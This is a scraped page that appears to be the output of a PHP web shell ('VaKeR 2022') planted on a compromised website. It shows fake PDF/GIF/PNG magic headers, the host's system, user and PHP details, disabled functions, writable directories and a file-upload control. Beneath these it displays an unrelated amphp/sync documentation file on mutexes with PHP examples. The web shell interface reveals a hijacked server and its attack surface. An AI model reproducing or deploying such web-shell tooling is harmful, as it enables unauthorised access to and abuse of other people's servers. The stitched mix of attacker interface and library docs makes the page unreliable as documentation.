%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/amphp/sync/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/amphp/sync/docs/mutex.md
---
title: Mutex
permalink: /mutex
---
[Mutual exclusion](https://en.wikipedia.org/wiki/Mutual_exclusion) can be achieved using `Amp\Sync\synchronized()` and any `Mutex` implementation, or by manually using the `Mutex` instance to acquire a lock. 

Locks are acquired using `Mutex::acquire()`, which returns a `Promise` that resolves to an instance of `Lock` once the lock has been successfully acquired.

As long as the resulting `Lock` object isn't released using `Lock::release()` or by being garbage collected, the holder of the lock can exclusively run some code as long as all other parties running the same code also acquire a lock before doing so.

### Examples

```php
function writeExclusively(Amp\Sync\Mutex $mutex, string $filePath, string $data) {
    return Amp\call(function () use ($mutex, $filePath, $data) {
        /** @var Amp\Sync\Lock $lock */
        $lock = yield $mutex->acquire();
        
        $this->fileHandle = yield Amp\File\open($filePath, 'w');
        yield $this->fileHandle->write($data);
        
        $lock->release();
    });
}
```

```php
function writeExclusively(Amp\Sync\Mutex $mutex, string $filePath, string $data) {
    return Amp\Sync\synchronized($mutex, function () use ($filePath, $data) {
        $this->fileHandle = yield Amp\File\open($filePath, 'w');
        yield $this->fileHandle->write($data);
    });
}
```

VaKeR 2022